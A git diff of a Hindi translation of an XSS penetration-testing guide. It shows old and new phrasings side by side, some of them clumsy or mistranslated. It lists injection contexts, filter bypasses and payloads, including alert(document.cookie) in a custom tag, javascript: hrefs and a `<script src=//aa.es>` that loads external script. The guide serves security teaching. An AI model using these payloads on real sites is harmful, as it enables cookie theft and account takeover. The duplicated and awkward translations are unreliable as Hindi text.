## प्रतिबिंबित मान
|
||||
|
||||
XSS का सफलतापूर्वक शोषण करने के लिए पहली चीज जो आपको ढूंढनी होगी वह है **आपके द्वारा नियंत्रित किया जाने वाला कोई मान जो वेब पृष्ठ में प्रतिबिंबित हो रहा है**।
|
||||
XSS का सफलतापूर्वक शोषण करने के लिए पहली चीज जो आपको ढूंढनी होगी वह है **आपके द्वारा नियंत्रित कोई मान जो वेब पेज में प्रतिबिंबित है**।
|
||||
|
||||
* **बेचैनी से प्रतिबिंबित**: यदि आपको लगता है कि किसी पैरामीटर का मान या यहाँ तक कि पथ वेब पृष्ठ में प्रतिबिंबित हो रहा है तो आप एक **Reflected XSS** का शोषण कर सकते हैं।
|
||||
* **संग्रहीत और प्रतिबिंबित**: यदि आपको लगता है कि आपके द्वारा नियंत्रित किया जाने वाला कोई मान सर्वर में सहेजा गया है और हर बार जब आप पृष्ठ तक पहुंचते हैं तो यह प्रतिबिंबित होता है तो आप एक **Stored XSS** का शोषण कर सकते हैं।
|
||||
* **JS के माध्यम से पहुंचा गया**: यदि आपको लगता है कि आपके द्वारा नियंत्रित किया जाने वाला कोई मान JS का उपयोग करके पहुंचाया जा रहा है तो आप एक **DOM XSS** का शोषण कर सकते हैं।
|
||||
* **बेचैनी से प्रतिबिंबित**: यदि आपको लगता है कि किसी पैरामीटर का मान या यहाँ तक कि पथ वेब पेज में प्रतिबिंबित हो रहा है तो आप एक **Reflected XSS** का शोषण कर सकते हैं।
|
||||
* **संग्रहीत और प्रतिबिंबित**: यदि आपको लगता है कि आपके द्वारा नियंत्रित किसी मान को सर्वर में सहेजा गया है और हर बार जब आप पृष्ठ तक पहुंचते हैं तो यह प्रतिबिंबित होता है तो आप एक **Stored XSS** का शोषण कर सकते हैं।
|
||||
* **JS के माध्यम से पहुंचा गया**: यदि आपको लगता है कि आपके द्वारा नियंत्रित किसी मान का उपयोग JS का उपयोग करके किया जा रहा है तो आप एक **DOM XSS** का शोषण कर सकते हैं।
|
||||
|
||||
## परिस्थितियाँ
|
||||
|
||||
XSS का शोषण करने की कोशिश करते समय पहली चीज जो आपको जाननी होगी वह है **आपका इनपुट कहाँ प्रतिबिंबित हो रहा है**। परिस्थितियों के आधार पर, आप विभिन्न तरीकों पर विचारशील JS कोड निष्पादित कर सकेंगे।
|
||||
XSS का शोषण करने की कोशिश करते समय पहली चीज जो आपको जाननी होगी वह है कि **आपका इनपुट कहाँ प्रतिबिंबित हो रहा है**। परिस्थिति के आधार पर, आप विभिन्न तरीकों से विचारात्मक JS कोड को निष्पादित कर सकेंगे।
|
||||
|
||||
### कच्चे HTML
|
||||
|
||||
यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर प्रतिबिंबित है तो आपको कुछ **HTML टैग** का दुरुपयोग करने की आवश्यकता होगी ताकि आप JS कोड को निष्पादित कर सकें: `<img , <iframe , <svg , <script` ... ये कुछ संभावित HTML टैग हैं जिन्हें आप उपयोग कर सकते हैं।\
|
||||
इसके अलावा, [Client Side Template Injection](../client-side-template-injection-csti.md) को ध्यान में रखें।
|
||||
|
||||
### HTML टैग गुण में
|
||||
### HTML टैग विशेषता के अंदर
|
||||
|
||||
यदि आपका इनपुट किसी टैग के गुण के मान के अंदर प्रतिबिंबित है तो आप यह कोशिश कर सकते हैं:
|
||||
यदि आपका इनपुट किसी टैग के विशेषता के मान में प्रतिबिंबित है तो आप यह कोशिश कर सकते हैं:
|
||||
|
||||
1. **गुण से और टैग से बाहर निकलने** के लिए (तो फिर आप कच्चे HTML में होंगे) और दुरुपयोग करने के लिए नए HTML टैग बनाएं: `"><img [...]`
|
||||
2. यदि आप **गुण से निकल सकते हैं लेकिन टैग से नहीं** (`>` को कोडित या हटाया गया है), टैग के आधार पर आप **एक घटना बना सकते हैं** जो JS कोड को निष्पादित करती है: `" autofocus onfocus=alert(1) x="`
|
||||
3. यदि आप **गुण से निकल नहीं सकते** (`"` को कोडित या हटाया गया है), तो आपके इनपुट के अनुसार **किस गुण में** आपका मान प्रतिबिंबित हो रहा है **यदि आप सभी मान या केवल कुछ हिस्सा नियंत्रित करते हैं** तो आप इसका दुरुपयोग कर सकेंगे। उदाहरण के लिए, यदि आप `onclick=` जैसी घटना को नियंत्रित करते हैं तो आप इसे अर्बिट्रे कोड निष्पादित करने के लिए कर सकेंगे। एक और दिलचस्प **उदाहरण** है गुण `href`, जहाँ आप `javascript:` प्रोटोकॉल का उपयोग करके अर्बिट्रे कोड निष्पादित कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
4. यदि आपका इनपुट "**अनउपयोगी टैगों**" के अंदर प्रतिबिंबित है तो आप **`accesskey`** ट्रिक का प्रयोग कर सकते हैं ताकि वल्न का दुरुपयोग करें (इसे शोषण करने के लिए आपको किसी प्रकार की सोशल इंजीनियर की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. **विशेषता और टैग से बाहर निकलने** के लिए (तब आप कच्चे HTML में होंगे) और नए HTML टैग का दुरुपयोग करने के लिए: `"><img [...]`
|
||||
2. यदि आप **विशेषता से बाहर निकल सकते हैं लेकिन टैग से नहीं** (`>` को एनकोड या हटाया गया है), टैग के आधार पर आप एक घटना बना सकते हैं जो JS कोड को निष्पादित करती है: `" autofocus onfocus=alert(1) x="`
|
||||
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** हैं (`"` को एनकोड या हटाया गया है), तो आपके इनपुट के अनुसार **किस विशेषता** में आपका मान प्रतिबिंबित हो रहा है **कि आप सभी मान या केवल एक हिस्सा नियंत्रित करते हैं** आप इसका दुरुपयोग कर सकेंगे। उदाहरण के लिए, यदि आप `onclick=` जैसी घटना को नियंत्रित करते हैं तो आप इसे अर्बिट्रे कोड निष्पादित करने के लिए कर सकेंगे। एक और दिलचस्प **उदाहरण** है विशेषता `href`, जहाँ आप `javascript:` प्रोटोकॉल का उपयोग करके अर्बिट्रे कोड निष्पादित कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
4. यदि आपका इनपुट "**अप्रयोग्य टैगों**" के अंदर प्रतिबिंबित है तो आप **`accesskey`** ट्रिक का प्रयोग कर सकते हैं ताकि वल्न का दुरुपयोग करें (इसे शोषण करने के लिए आपको किसी प्रकार के सोशल इंजीनियर की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
अजीब उदाहरण जब Angular XSS को निष्पादित करता है अगर आपके पास एक क्लास नाम है:
|
||||
```html
|
||||
|
@ -73,15 +73,15 @@ XSS का शोषण करने की कोशिश करते सम
|
|||
```
|
||||
### जावास्क्रिप्ट कोड के अंदर
|
||||
|
||||
इस मामले में आपका इनपुट **`<script> [...] </script>`** टैग्स के बीच एक HTML पेज, एक `.js` फ़ाइल के अंदर या **`javascript:`** प्रोटोकॉल का उपयोग करके एक विशेषता के अंदर प्रतिबिंबित होता है:
|
||||
इस मामले में आपका इनपुट **`<script> [...] </script>`** टैग के बीच HTML पेज, `.js` फ़ाइल के अंदर या **`javascript:`** प्रोटोकॉल का उपयोग करके किसी विशेषता के अंदर प्रतिबिंबित होता है:
|
||||
|
||||
* अगर **`<script> [...] </script>`** टैग्स के बीच प्रतिबिंबित है, तो यदि आपका इनपुट किसी भी प्रकार के कोट्स के अंदर है, तो आप `</script>` इंजेक्ट करने का प्रयास कर सकते हैं और इस संदर्भ से बाहर निकल सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग्स को पार्स** करेगा और फिर सामग्री, इसलिए, यह नोटिस नहीं करेगा कि आपका इंजेक्टेड `</script>` टैग HTML कोड के अंदर है।
|
||||
* अगर **JS स्ट्रिंग के अंदर प्रतिबिंबित** है और पिछला ट्रिक काम नहीं कर रहा है तो आपको स्ट्रिंग से बाहर निकलने की आवश्यकता होगी, अपना कोड **क्रियान्वित** करनी होगी और जेएस कोड **पुनर्निर्माण** करनी होगी (यदि कोई त्रुटि है, तो यह क्रियान्वित नहीं होगा):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
* यदि टेम्पलेट लिटरल्स के अंदर प्रतिबिंबित है तो आप `${ ... }` सिंटेक्स का उपयोग करके जेएस व्यक्तियों को **समाहित कर सकते हैं**: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* **यूनिकोड इन्कोड** काम करता है वैध जावास्क्रिप्ट कोड लिखने के लिए:
|
||||
* अगर **`<script> [...] </script>`** टैग के बीच प्रतिबिंबित है, तो यदि आपका इनपुट किसी भी प्रकार के कोट्स के अंदर है, तो आप `</script>` को इंजेक्ट करने का प्रयास कर सकते हैं और इस संदर्भ से बाहर निकल सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग को पार्स** करेगा और फिर सामग्री, इसलिए, यह ध्यान नहीं देगा कि आपका इंजेक्टेड `</script>` टैग HTML कोड के अंदर है।
|
||||
* अगर **JS स्ट्रिंग के अंदर प्रतिबिंबित** है और पिछला ट्रिक काम नहीं कर रहा है तो आपको स्ट्रिंग से **बाहर निकलना**, अपना कोड **चलाना** और JS कोड **पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो यह नहीं चलाया जाएगा):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
* अगर टेम्पलेट लिटरल्स के अंदर प्रतिबिंबित है तो आप `${ ... }` सिंटेक्स का उपयोग करके JS व्यक्तियों को **एम्बेड** कर सकते हैं: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* **यूनिकोड इंकोड** काम करता है जिससे **वैध जावास्क्रिप्ट कोड** लिखा जा सकता है:
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
|
@ -89,7 +89,7 @@ XSS का शोषण करने की कोशिश करते सम
|
|||
```
|
||||
#### जावास्क्रिप्ट होइस्टिंग
|
||||
|
||||
जावास्क्रिप्ट होइस्टिंग एक अवसर को संदर्भित करता है **जहाँ फ़ंक्शन, वेरिएबल्स या क्लासेस को उसके उपयोग के बाद घोषित किया जा सकता है ताकि आप XSS के स्थितियों का दुरुपयोग कर सकें जहाँ अप्रकटित वेरिएबल्स या फ़ंक्शन्स का उपयोग हो रहा है।**\
|
||||
जावास्क्रिप्ट होइस्टिंग एक अवसर को संदर्भित करता है **जहाँ आप उपयोग किए जाने के बाद फ़ंक्शन, वेरिएबल या क्लासेस की घोषणा कर सकते हैं ताकि आप XSS के स्थितियों का दुरुपयोग कर सकें जहाँ अप्रकटित वेरिएबल या फ़ंक्शन का उपयोग किया जा रहा है।**\
|
||||
**अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जाँच करें:**
|
||||
|
||||
{% content-ref url="js-hoisting.md" %}
|
||||
|
@ -100,17 +100,17 @@ XSS का शोषण करने की कोशिश करते सम
|
|||
|
||||
कई वेब पृष्ठों में **एंडपॉइंट्स होते हैं जो किसी फ़ंक्शन का नाम पैरामीटर के रूप में स्वीकार करते हैं**। जंगल में देखने के लिए एक सामान्य उदाहरण यह है: `?callback=callbackFunc`।
|
||||
|
||||
यह जांचने का एक अच्छा तरीका है कि क्या कोई उपयोगकर्ता द्वारा सीधे दिया गया कुछ क्रियान्वित करने की कोशिश कर रहा है **पैरामीटर मान को संशोधित करना** (उदाहरण के लिए 'वल्नरेबल' में) और कंसोल में त्रुटियों के लिए देखना:
|
||||
यदि कुछ उपयोगकर्ता द्वारा सीधे दिया गया कुछ क्रियान्वित करने की कोशिश कर रहा है, तो यह जानने का एक अच्छा तरीका है **पैरामीटर मान** को (उदाहरण के लिए 'वलनरेबल') **संशोधित करना** और त्रुटियों के लिए कंसोल में देखना:
|
||||
|
||||
![](<../../.gitbook/assets/image (708).png>)
|
||||
|
||||
यदि यह वल्नरेबल है, तो आप **एलर्ट को ट्रिगर कर सकते हैं** बस मान भेजकर: **`?callback=alert(1)`**। हालांकि, यह बहुत सामान्य है कि यह एंडपॉइंट्स **सामग्री की पुष्टि करेंगे** केवल अक्षर, संख्याएँ, डॉट्स और अंडरस्कोर्स (**`[\w\._]`**) को ही अनुमति देने के लिए।
|
||||
यदि यह वलनरेबल है, तो आप **एलर्ट को ट्रिगर कर सकते हैं** सिर्फ इस मान को भेजकर: **`?callback=alert(1)`**। हालांकि, यह बहुत सामान्य है कि यह एंडपॉइंट्स **सामग्री की पुष्टि करेंगे** केवल अक्षर, संख्याएँ, डॉट्स और अंडरस्कोर्स (**`[\w\._]`**) को ही अनुमति देने के लिए।
|
||||
|
||||
हालांकि, इस सीमा के साथ भी कुछ क्रियाएँ करना संभव है। यह इसलिए है क्योंकि आप उस मान्य वर्णों का उपयोग कर सकते हैं जो DOM में **किसी भी तत्व तक पहुंचने** के लिए:
|
||||
हालांकि, उस सीमा के साथ भी कुछ क्रियाएँ करना संभव है। यह इसलिए है क्योंकि आप उस मान्य वर्णों का उपयोग कर सकते हैं जिनका उपयोग करके **DOM में किसी भी तत्व तक पहुंच सकते हैं**:
|
||||
|
||||
![](<../../.gitbook/assets/image (744).png>)
|
||||
|
||||
इसके लिए कुछ उपयोगी फ़ंक्शनें:
|
||||
इसके लिए कुछ उपयोगी फ़ंक्शन्स:
|
||||
```
|
||||
firstElementChild
|
||||
lastElementChild
|
||||
|
@ -120,9 +120,9 @@ parentElement
|
|||
```
|
||||
आप यह भी प्रयास कर सकते हैं कि **जावास्क्रिप्ट फ़ंक्शन** को सीधे ट्रिगर करें: `obj.sales.delOrders`.
|
||||
|
||||
हालांकि, आम तौर पर इस इंडिकेटेड फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स में कोई दिलचस्प DOM नहीं होता है, **एक ही मूल स्रोत में अन्य पृष्ठ** एक **अधिक दिलचस्प DOM** रखेंगे जिससे अधिक क्रियाएँ की जा सकें।
|
||||
हालांकि, सामान्यत: इस तरह के फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स बिना कोई दिलचस्प DOM के होते हैं, **एक ही मूल स्रोत में अन्य पृष्ठ** अधिक दिलचस्प DOM रखेंगे ताकि अधिक क्रियाएँ की जा सकें।
|
||||
|
||||
इसलिए, इस विकल्प को **एक विभिन्न DOM में इस दुर्भाग्यपूर्णता का शोषण करने** के लिए **समान मूल स्रोत विधि निष्पादन (SOME)** का विकसित किया गया था:
|
||||
इसलिए, इस विकल्प को **एक विभिन्न DOM में इस दुरुपयोग को उपयोग करने** के लिए **समान मूल स्रोत विधि निष्पादन (SOME)** विकसित किया गया था:
|
||||
|
||||
{% content-ref url="some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
||||
|
@ -130,7 +130,7 @@ parentElement
|
|||
|
||||
### DOM
|
||||
|
||||
यहाँ **JS कोड** है जो कुछ **डेटा** का **अत्यंत असुरक्षित रूप से** उपयोग कर रहा है जो एक हमलावादी द्वारा नियंत्रित है जैसे `location.href`. एक हमलावादी, इसे विभिन्न JS कोड को निष्पादित करने के लिए दुर्भाग्यपूर्ण रूप से उपयोग कर सकता है।
|
||||
यहाँ **JS कोड** है जो कुछ **डेटा** का **असुरक्षित रूप से** उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसका दुरुपयोग करके विचारहीन JS कोड को निष्पादित कर सकता है।
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -138,7 +138,7 @@ parentElement
|
|||
|
||||
### **सार्वभौमिक XSS**
|
||||
|
||||
इस प्रकार के XSS को **कहीं भी** पाया जा सकता है। ये केवल एक वेब एप्लिकेशन के ग्राहक शोषण पर नहीं निर्भर करते हैं बल्कि **किसी भी** **संदर्भ** पर। इस प्रकार के **अर्बिट्रे जावास्क्रिप्ट निष्पादन** को यहाँ **RCE** प्राप्त करने, ग्राहकों और सर्वरों में **किसी भी** **फ़ाइलों** को **पढ़ने** के लिए भी दुरुपयोग किया जा सकता है।\
|
||||
इस प्रकार के XSS को **कहीं भी** पाया जा सकता है। इन्हें केवल वेब एप्लिकेशन के ग्राहक दुरुपयोग पर ही नहीं, **किसी भी** **संदर्भ** पर निर्भर है। इस प्रकार के **अर्बिट्रे जावास्क्रिप्ट निष्पादन** को आगे बढ़ाने के लिए आप **RCE** प्राप्त करने, ग्राहकों और सर्वरों में **किसी भी** **फ़ाइलों** को **पढ़ने** के लिए भी दुरुपयोग कर सकते हैं।\
|
||||
कुछ **उदाहरण**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -155,9 +155,9 @@ parentElement
|
|||
|
||||
## रॉ HTML के अंदर इंजेक्शन
|
||||
|
||||
जब आपका इनपुट **HTML पेज के अंदर प्रतिबिंबित होता है** या आप इस संदर्भ में एस्केप और HTML कोड इंजेक्ट कर सकते हैं, तो पहली बात जो आपको करनी चाहिए यह है कि क्या आप नए टैग बनाने के लिए `<` का दुरुपयोग कर सकते हैं: बस उस **वर्ण** को **प्रतिबिंबित** करने की कोशिश करें और देखें कि क्या यह **HTML इंकोड** हो रहा है या **हटाया** जा रहा है या यह **परिवर्तन के बिना प्रतिबिंबित** हो रहा है। **केवल अंतिम मामले में आप इस मामले का दुरुपयोग कर सकेंगे**।\
|
||||
जब आपका इनपुट **HTML पेज के अंदर प्रतिबिंबित होता है** या आप इस संदर्भ में HTML कोड भरने और इंजेक्ट कर सकते हैं, तो पहली चीज जो आपको करनी चाहिए यह है कि क्या आप नए टैग बनाने के लिए `<` का दुरुपयोग कर सकते हैं: बस उस **वर्ण** को **प्रतिबिंबित** करने की कोशिश करें और देखें कि यह **HTML इनकोड** हो रहा है या **हटाया** गया है या यह **परिवर्तन के बिना प्रतिबिंबित** हो रहा है। **केवल अंतिम मामले में आप इस मामले का दुरुपयोग कर सकेंगे**।\
|
||||
इस मामले के लिए भी [**क्लाइंट साइड टेम्पलेट इंजेक्शन**](../client-side-template-injection-csti.md)** को ध्यान में रखें**।\
|
||||
_**नोट: एक HTML टिप्पणी को बंद किया जा सकता है**** ****`-->`**** ****या**** ****`--!>`**_
|
||||
_**नोट: एक HTML टिप्पणी को** **`-->`** **या** **`--!>`** **का उपयोग करके बंद किया जा सकता है**_
|
||||
|
||||
इस मामले में और अगर कोई काली/सफेद सूचीकरण का उपयोग नहीं होता है, तो आप payloads जैसे का उपयोग कर सकते हैं:
|
||||
```html
|
||||
|
@ -165,16 +165,16 @@ _**नोट: एक HTML टिप्पणी को बंद किया
|
|||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
लेकिन, अगर टैग/विशेषताएँ काली/सफेद सूचीकरण का उपयोग हो रहा है, तो आपको **ब्रूट-फोर्स करना होगा कि कौन से टैग बना सकते हैं**।
|
||||
जब आपने **पता लगा लिया है कि कौन से टैग अनुमत हैं**, तो आपको मिले वैध टैग्स के अंदर **विशेषताएँ/घटनाएँ ब्रूट-फोर्स करनी** होगी ताकि आप संदर्भ में हमला कैसे कर सकते हैं।
|
||||
लेकिन, अगर टैग/विशेषताएँ काली/सफेद सूचीकरण का उपयोग हो रहा है, तो आपको **ब्रूट-फोर्स करने की आवश्यकता होगी कि आप कौन से टैग बना सकते हैं**।\
|
||||
जब आपने **पता लगा लिया है कि कौन से टैग स्वीकृत हैं**, तो आपको मिले वैध टैग्स में **विशेषताएँ/घटनाएँ ब्रूट-फोर्स करनी** होगी ताकि आप संदर्भ में हमला कैसे कर सकते हैं।
|
||||
|
||||
### टैग/घटनाएँ ब्रूट-फोर्स
|
||||
|
||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) पर जाएं और _**Copy tags to clipboard**_ पर क्लिक करें। फिर, बर्प इंट्रूडर का उपयोग करके सभी उन्हें भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भाग्यपूर्ण नहीं माना गया। जब आपने पता लगा लिया है कि आप कौन से टैग प्रयोग कर सकते हैं, तो आप **सभी घटनाएँ ब्रूट-फोर्स** कर सकते हैं (उसी वेब पृष्ठ पर _**Copy events to clipboard**_ पर क्लिक करें और पहले जैसी प्रक्रिया का पालन करें)।
|
||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) पर जाएं और _**Copy tags to clipboard**_ पर क्लिक करें। फिर, बर्प इंट्रूडर का उपयोग करके सभी उन्हें भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भाग्यपूर्ण नहीं माना गया। जब आपने पता लगा लिया है कि आप कौन से टैग उपयोग कर सकते हैं, तो आप **सभी घटनाएँ ब्रूट-फोर्स** कर सकते हैं (उसी वेब पृष्ठ पर _**Copy events to clipboard**_ पर क्लिक करें और पहले के तरीके का पालन करें)।
|
||||
|
||||
### कस्टम टैग
|
||||
|
||||
अगर आपने कोई वैध HTML टैग नहीं पाया, तो आप **एक कस्टम टैग बनाने** की कोशिश कर सकते हैं और `onfocus` विशेषता के साथ JS कोड को क्रियान्वित कर सकते हैं। XSS अनुरोध में, आपको पृष्ठ को **उस वस्तु पर ध्यान केंद्रित करने** और कोड **क्रियान्वित** करने के लिए URL को `#` के साथ समाप्त करना होगा:
|
||||
अगर आपने कोई वैध HTML टैग नहीं पाया, तो आप **कस्टम टैग बनाने** की कोशिश कर सकते हैं और `onfocus` विशेषता के साथ JS कोड को क्रियान्वित कर सकते हैं। XSS अनुरोध में, आपको पृष्ठ को **उस वस्तु पर ध्यान केंद्रित करने** और कोड **क्रियान्वित** करने के लिए URL को `#` के साथ समाप्त करने की आवश्यकता होगी:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
|
@ -233,7 +233,7 @@ onerror=alert`1`
|
|||
### लंबाई बाईपास (छोटे XSSs)
|
||||
|
||||
{% hint style="info" %}
|
||||
**विभिन्न वातावरणों के लिए और छोटे XSS के लिए** पेडलोड [**यहाँ**](https://github.com/terjanq/Tiny-XSS-Payloads) और [**यहाँ**](https://tinyxss.terjanq.me) मिल सकता है।
|
||||
**विभिन्न वातावरणों के लिए और छोटे XSS** पेलोड [**यहाँ पाया जा सकता है**](https://github.com/terjanq/Tiny-XSS-Payloads) और [**यहाँ**](https://tinyxss.terjanq.me).
|
||||
{% endhint %}
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
|
@ -241,24 +241,24 @@ onerror=alert`1`
|
|||
<script src=//aa.es>
|
||||
<script src=//℡㏛.pw>
|
||||
```
|
||||
आखिरी तक एक ऐसा उपयोग कर रहा है जिसमें 2 यूनिकोड वर्ण हैं जो 5 में विस्तारित होते हैं: telsr\
|
||||
इन वर्णों को अधिक यहाँ मिल सकते हैं [यहाँ](https://www.unicode.org/charts/normalization/)।\
|
||||
उन वर्णों की विस्तारित स्थिति की जांच के लिए यहाँ देखें (https://www.compart.com/en/unicode/U+2121).
|
||||
आखिरी तक दो यूनिकोड वर्णों का उपयोग किया गया है जो 5 में विस्तारित होता है: telsr\
|
||||
इन वर्णों को और भी ढूंढा जा सकता है [यहाँ](https://www.unicode.org/charts/normalization/)।\
|
||||
जांचने के लिए कि कौन से वर्ण विभाजित हैं, यहाँ देखें (https://www.compart.com/en/unicode/U+2121)।
|
||||
|
||||
### क्लिक XSS - क्लिकजैकिंग
|
||||
|
||||
यदि आप संक्षिप्त डेटा के साथ **उपयोगकर्ता को एक लिंक या एक फॉर्म पर क्लिक करने की आवश्यकता** है ताकि सुरक्षा दोष का शोध किया जा सके, तो आप [**क्लिकजैकिंग का दुरुपयोग करने**](../clickjacking.md#xss-clickjacking) का प्रयास कर सकते हैं (यदि पृष्ठ विकल्पशील है)।
|
||||
यदि आप संक्षिप्तता को उत्पन्न करने के लिए **उपयोगकर्ता को एक लिंक या एक फॉर्म पर क्लिक** करने की आवश्यकता है, तो आप [**क्लिकजैकिंग का दुरुपयोग कर सकते हैं**](../clickjacking.md#xss-clickjacking) (यदि पृष्ठ भेद्य है)।
|
||||
|
||||
### असंभव - डैंगलिंग मार्कअप
|
||||
|
||||
यदि आप सिर्फ यह सोचते हैं कि **एक HTML टैग बनाना जिसमें एक विशेषता हो जो जेएस कोड को क्रियाशील करने के लिए** असंभव है, तो आपको [**डैंगलिंग मार्कअप**](../dangling-markup-html-scriptless-injection/) की जांच करनी चाहिए क्योंकि आप **जेएस** कोड **क्रियाशील किए बिना** सुरक्षा दोष का शोध **कर सकते** हैं।
|
||||
यदि आप सिर्फ यह सोचते हैं कि **एक HTML टैग बनाना जावास्क्रिप्ट को निष्पादित करने के लिए एक विशेषता के साथ असंभव है**, तो आपको [**डैंगलिंग मार्कअप**](../dangling-markup-html-scriptless-injection/) की जांच करनी चाहिए क्योंकि आप **जावास्क्रिप्ट** को निष्पादित किए बिना **भेद्यता** का उपयोग कर सकते हैं।
|
||||
|
||||
## HTML टैग के भीतर इंजेक्शन
|
||||
|
||||
### टैग के भीतर/विशेषता मान से बाहर निकलना
|
||||
|
||||
यदि आप **एक HTML टैग के भीतर** हैं, तो पहली चीज जो आप कर सकते हैं वह है **टैग से बाहर निकलना** और [पिछले खंड](./#injecting-inside-raw-html) में उल्लिखित कुछ तकनीकों का उपयोग करना जेएस कोड को क्रियाशील करने के लिए।\
|
||||
यदि आप **टैग से बाहर नहीं निकल सकते**, तो आप टैग के भीतर नए विशेषताएँ बना सकते हैं जिससे जेएस कोड को क्रियाशील करने का प्रयास कर सकते हैं, उदाहरण के लिए कुछ पेयलोड का उपयोग करके (_ध्यान दें कि इस उदाहरण में डबल कोटेशन का उपयोग विशेषता से बाहर निकलने के लिए किया गया है, यदि आपका इनपुट सीधे रूप से टैग के भीतर प्रतिबिम्बित होता है तो आपको उन्हें आवश्यक नहीं होगा)_:
|
||||
यदि आप **एक HTML टैग के भीतर** हैं, तो पहली चीज जो आप कर सकते हैं वह है **टैग से बाहर निकलना** और [पिछले खंड](./#injecting-inside-raw-html) में उल्लिखित कुछ तकनीकों का उपयोग करना जो जावास्क्रिप्ट को निष्पादित करने के लिए है।\
|
||||
यदि आप **टैग से बाहर नहीं निकल सकते**, तो आप टैग के भीतर नए विशेषताएँ बना सकते हैं जिससे जावास्क्रिप्ट को निष्पादित करने की कोशिश कर सकते हैं, उदाहरण के लिए कुछ पेयलोड का उपयोग करके (_ध्यान दें कि इस उदाहरण में डबल कोटेशन का उपयोग विशेषता से बाहर निकलने के लिए किया गया है, यदि आपका इनपुट सीधे रूप से टैग के भीतर प्रतिबिम्बित होता है तो आपको उन्हें आवश्यक नहीं होगा)_:
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -273,14 +273,14 @@ onerror=alert`1`
|
|||
#moving your mouse anywhere over the page (0-click-ish):
|
||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||
```
|
||||
### विशेषता के अंदर
|
||||
### आवश्यकता के अंदर
|
||||
|
||||
यदि आप **विशेषता से बाहर निकल नहीं सकते** (`"` को एन्कोड या हटाया जा रहा है), तो भी, **किस विशेषता** में आपका मान प्रतिबिम्बित हो रहा है, अगर आप सभी मान को नियंत्रित करते हैं या केवल एक हिस्सा, तो आप इसका दुरुपयोग कर सकते हैं। **उदाहरण** के लिए, यदि आप `onclick=` जैसी घटना को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर विचारहीन कोड चलाने के लिए कर सकते हैं।\
|
||||
एक और दिलचस्प **उदाहरण** है विशेषता `href`, जहां आप `javascript:` प्रोटोकॉल का उपयोग करके विचारहीन कोड चला सकते हैं: **`href="javascript:alert(1)"`**
|
||||
यद्यपि आप **विशेषता से बाहर निकल नहीं सकते** हैं (`"` को एन्कोड या हटाया जा रहा है), तो आपके मान को किस **विशेषता** में प्रतिबिम्बित किया जा रहा है इस पर निर्भर करेगा कि आपके पास सभी मान का नियंत्रण है या केवल एक हिस्सा। आप इसका दुरुपयोग कर सकेंगे। उदाहरण के लिए, यदि आप `onclick=` जैसी घटना पर नियंत्रण रखते हैं, तो आप इसे क्लिक करने पर विचारशील कोड का क्रियान्वयन करने के लिए कर सकेंगे।\
|
||||
एक और दिलचस्प **उदाहरण** है विशेषता `href`, जहां आप `javascript:` प्रोटोकॉल का उपयोग करके विचारशील कोड का क्रियान्वयन कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
|
||||
**HTML एन्कोडिंग/URL एन्कोड का उपयोग करके घटना के अंदर बायपास**
|
||||
|
||||
HTML टैग विशेषताओं के मान के भीतर **HTML एन्कोडित वर्ण** समय पर **डिकोड होते हैं**। इसलिए कुछ इस प्रकार का मान्य होगा (पेयलोड में बोल्ड में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
HTML टैग विशेषताओं के मान के अंदर **HTML एन्कोडिंग वाले वर्ण** रनटाइम पर **डिकोड होते हैं**। इसलिए कुछ इस प्रकार का मान्य होगा (पेयलोड में बोल्ड में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
ध्यान दें कि **किसी भी प्रकार का HTML एन्कोड मान्य है**:
|
||||
```javascript
|
||||
|
@ -311,7 +311,7 @@ HTML टैग विशेषताओं के मान के भीतर
|
|||
```
|
||||
### विशेष प्रोटोकॉल आवश्यकता
|
||||
|
||||
